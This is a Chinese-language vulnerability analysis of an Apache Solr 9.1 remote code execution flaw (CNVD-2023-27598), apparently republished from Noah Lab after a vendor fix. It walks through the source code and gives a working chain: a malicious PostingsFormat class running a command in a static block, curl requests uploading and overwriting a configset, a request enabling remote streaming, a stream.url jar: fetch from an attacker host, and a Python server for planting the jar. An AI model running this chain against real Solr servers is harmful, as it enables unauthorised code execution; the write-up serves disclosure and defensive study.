时间线
2022年12月9日 漏洞提交官方
2023年2月20日 官方拒绝修复
2023年2月22日 提交cnvd
2023年3月24日 官方发布9.2.0 修复漏洞
2023年4月14日 CNVD 审核通过
一、简介
1.Apache Solr概述
建立在Lucene-core之上,Luncene是一个全文检索的工具包,它不是一个完整的引擎,Solr将它打包成了一个完整的引擎服务,并对外开放基于http请求的服务以及各种API,还有一个后台管理界面。所以,它既然是基于Luncene的,所以他的核心功能逻辑就应该和Luncene一样,给它一个Docunment,Solr进行分词以及查找反向索引,然后排序输出。
Solr 的基本前提很简单。您给它很多的信息,然后你可以问它的问题,找到你想要的信息。您在所有信息中提供的内容称为索引或更新。当你问一个问题时,它被称为查询。
在一些大型门户网站、电子商务网站等都需要站内搜索功能,使用传统的数据库查询方式实现搜索无法满足一些高级的搜索需求,比如:搜索速度要快、搜索结果按相关度排序、搜索内容格式不固定等,这里就需要使用全文检索技术实现搜索功能。
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。Lucene 是一个全文检索引擎工具包,它是一个 jar 包,不能独立运行,对外提供服务。Apache Solr 中存储的资源是以 Document 为对象进行存储的。NoSQL特性和丰富的文档处理(例如Word和PDF文件)。每个文档由一系列的 Field 构成,每个 Field 表示资源的一个属性。Solr 中的每个 Document 需要有能唯一标识其自身的属性,默认情况下这个属性的名字是 id,在 Schema 配置文件中使用:id进行描述。 Solr是一个独立的企业级搜索应用服务器,目前很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。
Solr可以独立运行,打包成一个war。运行在Jetty、Tomcat等这些Servlet容器中,Solr索引的实现方法很简单,用 POST 方法向Solr服务器 发送一个描述
Field 及其内容的XML文档,Solr根据xml文档添加、删除、更新索引。Solr搜索只需要发送HTTP GET 请求,然后对 Solr 返回Xml、Json等格式的查询结果进行解析,组织页面布局。Solr不提供构建UI的功能,Solr提供了一个管理界面,通过管理界面可以查询Solr的配置和运行情况。
中文文档:https://www.w3cschool.cn/solr_doc/solr_doc-mz9a2frh.html
2.使用范围及行业分布
- 业界两个最流行的开源搜索引擎,Solr和ElasticSearch。Solr是Apache下的一个顶级开源项目。不少互联网巨头,如Netflix,eBay,Instagram和Amazon(CloudSearch)均使用Solr。
- fofa搜索公网资产 一万 app=”APACHE-Solr”
- GitHub Star数量 3.8k
3.重点产品特性
默认全局未授权,多部署于内网,内置zk服务
不可自动升级,需要手动升级修复漏洞
二、环境搭建及调试
获取源码及安装包:
https://dlcdn.apache.org/lucene/solr/8.11.2/solr-8.11.2.tgz
https://dlcdn.apache.org/lucene/solr/8.11.2/solr-8.11.2-src.tgz
8系列通过Ant 构建,不能直接导入idea,需要在目录下提前构建下
ant ivy-bootstrap、ant idea,然后直接导入idea即可
9 系列通过Gradle构建,直接导入idea即可,且需要jdk11及以上
编译成功后将源代码导入idea当中,开启solr并设置debug模式
cd \solr\bin
solr.cmd start -e cloudsolr.cmd stop -all
solr.cmd -c -f -a "-xdebug -
Xrunjdwp:transport=dt_socket, server=y, suspend=n, address=10010"-p 8983
漏洞的利用需要开启solrcloud
idea配置remote debug
三、漏洞前置知识
(1) zookeeper
zk是分布式系统中的一项协调服务。solr cloud启动默认启动内置zk服务,solr将zk用于三个关键操作:
1、集中化配置存储和分发
2、检测和提醒集群的状态改变
3、确定分片代表
**(2)**solrconfig.xml
此文件包含与请求处理和响应格式相关的定义和特定于核心的配置,以及索引,配置,管理内存和进行提交。内核配置文件,这个是影响Solr本身参数最多的配置文件。索引数据的存放位置,更新,删除,查询的一些规则配置
这个文件可以说,在功能上包含了一个core处理的全部配置信息
- 指定Luncene版本
- core的data目录 存放当前core的idnex索引文件和tlog事务日志文件
- 索引存储工厂 配置了一些存储时的参数 线程等
- 编解码方式
- 配置索引属性,主要与Luncene创建索引的一些参数,文档字段最大长度、生成索引时INdexWriter可使用最大线程数、Luncene是否允许文件整合、buffer大小、指定Lucene使用哪个LockFactory等
- 更新处理器 更新增加Document时的update对应什么处理动作在这里配置,在这里也可以自定义更新处理器
- 以及查询的相关配置
- 请求转发器 自定义增加在这里配置
- 请求解析器 配置solr的请求解析行为
- 请求处理器 solr通过requestHandler提供webservice功能,通过http请求对索引进行访问 可以自定义增加,在这里配置
(3) Solr配置集 configset
用于实现多个不同内核之间的配置共享
(4).关键类
SolrResourceLoader:关于SolrResourceLoader,通过类名来看是Solr的资源加载类,负责加载各种资源到运行环境中,通过ClassLoader以及文件读取加载类、文件资源等,也支持jndi的方式加载,以及一些url以及文件路径处理的方法。
SolrConfig:solrconfig.xml的对应实体类
四、The way of RCE
SolrResourceLoader加载Evil Jar包执行static 代码块中恶意代码。
漏洞利用中这两句代码完成了恶意jar包的加载
loader.addToClassLoader(urls);
loader.reloadLuceneSPI();
org.apache.solr.core.SolrResourceLoader#addToClassLoader
首先获取到的classloader为URLClassLoader,URLClassLoader为后面加载路径时提供了更多的操作空间
needToReloadLuceneSPI,是否通过SPI机制加载默认为true,也就是说是通过Java SPI机制进行加载。
org.apache.solr.core.SolrResourceLoader#reloadLuceneSPI
// Codecs:
PostingsFormat.reloadPostingsFormats(this.classLoader);
DocValuesFormat.reloadDocValuesFormats(this.classLoader);
Codec.reloadCodecs(this.classLoader);
// Analysis:
CharFilterFactory.reloadCharFilters(this.classLoader);
TokenFilterFactory.reloadTokenFilters(this.classLoader);
TokenizerFactory.reloadTokenizers(this.classLoader);
SPI 原理
SPI 服务的加载可以分为两部分:
- 类全称限定名的获取,即知道哪些类是服务提供者。
- 类加载,把获取到的类加载到内存中,涉及上下文类加载器。
SPI机制在指定配置的情况下,ServiceLoader.load 根据传入的接口类,遍历 META-INF/services 目录下的以该类命名的文件中的所有类,然再用类加载器加载这些服务。
获取到 SPI 服务实现类的文件之后,就可以使用类加载器将对应的类加载到内存中,也就会触发恶意类中的static代码块。
了解到上述后,构造恶意类需指定META-INF/services下类,以及继承org.apache.lucene.codecs.PostingsFormat接口,构造如下
/**
* @auther Skay
* @date 2022/12/5 10:42
* @description
*/
public class Calc extends org.apache.lucene.codecs.PostingsFormat{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
public Calc() {
super("Exploit");
try {
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public FieldsConsumer fieldsConsumer(SegmentWriteState segmentWriteState) throws IOException {
return null;
}
@Override
public FieldsProducer fieldsProducer(SegmentReadState segmentReadState) throws IOException {
return null;
}
public static void main(String[] args) {
}
}
五、How to upload evil-Jar?
这里需要引入Apache Solr的两个已知功能点,
1.ConfigSet配置集上传功能
官方文档提供了详细的API调用规范 https://solr.apache.org/guide/8_8/configsets-api.html
实际操作将solr example项目中_default 打zip即可
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @sdconfigset.zip "http://192.168.220.16:8983/solr/admin/configs?action=UPLOAD&name=lib" -x "http://127.0.0.1:8888"
此接口的核心处理类为org.apache.solr.handler.admin.ConfigSetsHandler,configset.upload.enabled开关为默认开启,所以默认可以上传配置集文件。
配置集文件上传ZK中,首先判断了配置集是否已经存在,是否为单文件上传,filePath参数是否指定,文件是否覆盖等,紧接着进行文件解压(但是这里并无文件落地操作,都存储在ZK中)。
具体代码逻辑如下,关键位置做了一些简单的注释org.apache.solr.handler.admin.ConfigSetsHandler#handleConfigUploadRequest
private void handleConfigUploadRequest(SolrQueryRequest req, SolrQueryResponse rsp) throws Exception {
if (!"true".equals(System.getProperty("configset.upload.enabled", "true"))) {
throw new SolrException(ErrorCode.BAD_REQUEST,
"Configset upload feature is disabled. To enable this, start Solr with '-Dconfigset.upload.enabled=true'.");
}
// 获取上传的配置集文件名
String configSetName = req.getParams().get(NAME);
if (StringUtils.isBlank(configSetName)) {
throw new SolrException(ErrorCode.BAD_REQUEST,
"The configuration name should be provided in the \"name\" parameter");
}
// 此处开始配置集上传逻辑
SolrZkClient zkClient = coreContainer.getZkController().getZkClient();
String configPathInZk = ZkConfigManager.CONFIGS_ZKNODE + "/" + configSetName;
//判断ZK中是否已经存在
boolean overwritesExisting = zkClient.exists(configPathInZk, true);
boolean requestIsTrusted = isTrusted(req, coreContainer.getAuthenticationPlugin());
// 获取上传一些参数
String singleFilePath = req.getParams().get(ConfigSetParams.FILE_PATH, "");
boolean allowOverwrite = req.getParams().getBool(ConfigSetParams.OVERWRITE, false);
boolean cleanup = req.getParams().getBool(ConfigSetParams.CLEANUP, false);
Iterator<ContentStream> contentStreamsIterator = req.getContentStreams().iterator();
if (!contentStreamsIterator.hasNext()) {
throw new SolrException(ErrorCode.BAD_REQUEST,
"No stream found for the config data to be uploaded");
}
// 获取上传文件流
InputStream inputStream = contentStreamsIterator.next().getStream();
// 是否为单文件上传
if (!singleFilePath.isEmpty()) {
String fixedSingleFilePath = singleFilePath;
if (fixedSingleFilePath.charAt(0) == '/') {
fixedSingleFilePath = fixedSingleFilePath.substring(1);
}
if (fixedSingleFilePath.isEmpty()) {
throw new SolrException(ErrorCode.BAD_REQUEST, "The file path provided for upload, '" + singleFilePath + "', is not valid.");
} else if (cleanup) {
// Cleanup is not allowed while using singleFilePath upload
throw new SolrException(ErrorCode.BAD_REQUEST, "ConfigSet uploads do not allow cleanup=true when file path is used.");
} else {
try {
// Create a node for the configuration in zookeeper
// For creating the baseZnode, the cleanup parameter is only allowed to be true when singleFilePath is not passed.
createBaseZnode(zkClient, overwritesExisting, requestIsTrusted, configPathInZk);
String filePathInZk = configPathInZk + "/" + fixedSingleFilePath;
zkClient.makePath(filePathInZk, IOUtils.toByteArray(inputStream), CreateMode.PERSISTENT, null, !allowOverwrite, true);
} catch(KeeperException.NodeExistsException nodeExistsException) {
throw new SolrException(ErrorCode.BAD_REQUEST,
"The path " + singleFilePath + " for configSet " + configSetName + " already exists. In order to overwrite, provide overwrite=true or use an HTTP PUT with the V2 API.");
}
}
return;
}
// 单文件上传允许文件覆盖
if (overwritesExisting && !allowOverwrite) {
throw new SolrException(ErrorCode.BAD_REQUEST,
"The configuration " + configSetName + " already exists in zookeeper");
}
Set<String> filesToDelete;
if (overwritesExisting && cleanup) {
filesToDelete = getAllConfigsetFiles(zkClient, configPathInZk);
} else {
filesToDelete = Collections.emptySet();
}
// zk中创建节点
// For creating the baseZnode, the cleanup parameter is only allowed to be true when singleFilePath is not passed.
createBaseZnode(zkClient, overwritesExisting, requestIsTrusted, configPathInZk);
//获取zip文件流 在zk中存储
ZipInputStream zis = new ZipInputStream(inputStream, StandardCharsets.UTF_8);
ZipEntry zipEntry = null;
boolean hasEntry = false;
while ((zipEntry = zis.getNextEntry()) != null) {
hasEntry = true;
String filePathInZk = configPathInZk + "/" + zipEntry.getName();
if (filePathInZk.endsWith("/")) {
filesToDelete.remove(filePathInZk.substring(0, filePathInZk.length() -1));
} else {
filesToDelete.remove(filePathInZk);
}
if (zipEntry.isDirectory()) {
zkClient.makePath(filePathInZk, false, true);
} else {
createZkNodeIfNotExistsAndSetData(zkClient, filePathInZk,
IOUtils.toByteArray(zis));
}
}
zis.close();
if (!hasEntry) {
throw new SolrException(ErrorCode.BAD_REQUEST,
"Either empty zipped data, or non-zipped data was uploaded. In order to upload a configSet, you must zip a non-empty directory to upload.");
}
deleteUnusedFiles(zkClient, filesToDelete);
// If the request is doing a full trusted overwrite of an untrusted configSet (overwrite=true, cleanup=true), then trust the configSet.
if (cleanup && requestIsTrusted && overwritesExisting && !isCurrentlyTrusted(zkClient, configPathInZk)) {
byte[] baseZnodeData = ("{\"trusted\": true}").getBytes(StandardCharsets.UTF_8);
zkClient.setData(configPathInZk, baseZnodeData, true);
}
}
2.sechema-designer 功能
此功能为Solr 8.10及以后新引入的功能点,Schema Designer 屏幕允许用户使用示例数据以交互方式设计新模式。
它的技术细节我们可以不用去考虑,通过阅读官方文档,新的sechema的创建可以基于我们上传的Configset来创建
其实我们上传的ConfigSet是用来创建Collettion和Core的,这里之前出过漏洞,CVE-2020-13957,也是配置集上传导致的RCE。
这里复习一下solrconfig.xml 文件,此文件包含与请求处理和响应格式相关的定义和特定于核心的配置,以及索引,配置,管理内存和进行提交。内核配置文件,这个是影响Solr本身参数最多的配置文件。索引数据的存放位置,更新,删除,查询的一些规则配置 。
所以现在我们可以上传一个可控的solrconfig.xml 文件,可操作的范围就很多了。当我们上传了配置集文件,之前的新建Collections调用接口已被修复,将目光转向Schema Designer,新建一个Sehema
这里会出现报错,需要跟一下代码逻辑
首先新建一个secheam会加载solrconfig.xml,org.apache.solr.handler.designer.SchemaDesignerConfigSetHelper#loadSolrConfig,也就是去zk中去寻找solrconfig.xml 文件
在初始化SolrConfig(SolrConfig.xml 的对应类)过程中,会通过ZKloader加载配置文件
org.apache.solr.cloud.ZkSolrResourceLoader#openResource,查找文件,很显然这里是没有在ZK中找到solrconfig.xml 文件
沉思,配置集合上传路径新建的zk查询路径为/configs/* ,而新建designer-schema 在查询路径时会加上.designer*。
But,在配置集上传时我们可以指定filePath,且允许单文件上传以及文件覆盖选项,只需要单独上传下solrconfig.xml即可。
3.覆盖恶意solrconfig.xml
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @sdconfigset/solrconfig.xml "http://192.168.220.16:8983/solr/admin/configs?action=UPLOAD&name=lib&filePath=solrconfig.xml&overwrite=true"
我们按照模板上传了一个默认的solrconfig.xml 文件,指定filePath,指定overwrite为true
再来重试一下新建schema,仍旧报错
但是这个报错我们可以去忽略掉,因为可以看到这里solrconfig.xml 已经成功找到了,关键的SolrConfig类已经成功的初始化了。
4.SolrConfig初始化
还是在org.apache.solr.core.SolrConfig#SolrConfig 构造函数中,存在此漏洞关键点initLibs 方法org.apache.solr.core.SolrConfig#initLibs,它会读取SolrConfig.xml 中的标签中的值,去动态加载符合正则的文件当作jar包加载入jvm当中。
private void initLibs(SolrResourceLoader loader, boolean isConfigsetTrusted) {
// TODO Want to remove SolrResourceLoader.getInstancePath; it can be on a Standalone subclass.
// For Zk subclass, it's needed for the time being as well. We could remove that one if we remove two things
// in SolrCloud: (1) instancePath/lib and (2) solrconfig lib directives with relative paths. Can wait till 9.0.
Path instancePath = loader.getInstancePath();
List<URL> urls = new ArrayList<>();
Path libPath = instancePath.resolve("lib");
if (Files.exists(libPath)) {
try {
urls.addAll(SolrResourceLoader.getURLs(libPath));
} catch (IOException e) {
log.warn("Couldn't add files from {} to classpath: {}", libPath, e);
}
}
List<ConfigNode> nodes = root.getAll("lib");
if (nodes != null && nodes.size() > 0) {
if (!isConfigsetTrusted) {
throw new SolrException(ErrorCode.UNAUTHORIZED,
"The configset for this collection was uploaded without any authentication in place,"
+ " and use of <lib> is not available for collections with untrusted configsets. To use this component, re-upload the configset"
+ " after enabling authentication and authorization.");
}
for (int i = 0; i < nodes.size(); i++) {
ConfigNode node = nodes.get(i);
String baseDir = node.attr("dir");
String path = node.attr(PATH);
if (null != baseDir) {
// :TODO: add support for a simpler 'glob' mutually exclusive of regex
Path dir = instancePath.resolve(baseDir);
String regex = node.attr("regex");
try {
if (regex == null)
urls.addAll(SolrResourceLoader.getURLs(dir));
else
urls.addAll(SolrResourceLoader.getFilteredURLs(dir, regex));
} catch (IOException e) {
log.warn("Couldn't add files from {} filtered by {} to classpath: {}", dir, regex, e);
}
} else if (null != path) {
final Path dir = instancePath.resolve(path);
try {
urls.add(dir.toUri().toURL());
} catch (MalformedURLException e) {
log.warn("Couldn't add file {} to classpath: {}", dir, e);
}
} else {
throw new RuntimeException("lib: missing mandatory attributes: 'dir' or 'path'");
}
}
}
if (!urls.isEmpty()) {
loader.addToClassLoader(urls);
loader.reloadLuceneSPI();
}
}
所以构造恶意solrconfig.xml 添加lib标签即可,不同操作系统的触发需要配置不同的lib标签
Windows:
上面说到,使用的classloader继承于URLClassLoader,所以Windows系统可以使用UNC路径来进行文件的加载 。可以省略注入临时文件步骤
Linux:SSRF Jar协议 注入临时文件
这里也是官方提供的一个正常功能接口,当requestDispatcher.requestParsers.enableRemoteStreaming参数远程设置为true后,可实现http协议ssrf,netdoc协议目录遍历,file协议读取任意文件,jar协议注入tmp文件
注:需出网
curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.220.16:8983/solr/gettingstarted_shard1_replica_n1/config -H 'Content-type:application/json'
POST /solr/gettingstarted_shard2_replica_n1/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.220.16:8983
User-Agent: curl/7.74.0
Accept: */*
Content-Length: 196
Content-Type: multipart/form-data; boundary=------------------------5897997e44b07bf9
Connection: close
--------------------------5897997e44b07bf9
Content-Disposition: form-data; name="stream.url"
jar:http://192.168.220.1:7878/calc.jar?!/Calc.class
--------------------------5897997e44b07bf9--
服务端:这里攻击期间服务端需要一直不给返回包,否则tmp临时文件注入失败
import sys
import time
import threading
import socketserver
from urllib.parse import quote
import http.client as httpc
listen_host = '0.0.0.0'
listen_port = 7777
jar_file = sys.argv[1]
class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
http_req = b''
print('New connection:',self.client_address)
while b'\r\n\r\n' not in http_req:
try:
http_req += self.request.recv(4096)
print('\r\nClient req:\r\n',http_req.decode())
jf = open(jar_file, 'rb')
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n''')
self.request.sendall(headers.encode('ascii'))
self.request.sendall(contents[])
time.sleep(300000)
print(30)
self.request.sendall(contents[])
except Exception as e:
print ("get error at:"+str(e))
if __name__ == '__main__':
jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')
server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True
server_thread.start()
server_thread.join()
六、漏洞演示
七、测试版本
8 系列最新版本 8.11
9 系列最新版本9.1
八、参考文章
https://solr.apache.org/guide/8_10/schema-designer.html
https://solr.apache.org/guide/solr/latest/configuration-guide/configsets-api.html
原文始发于Noah Lab:Apache Solr 9.1 RCE 分析 CNVD-2023-27598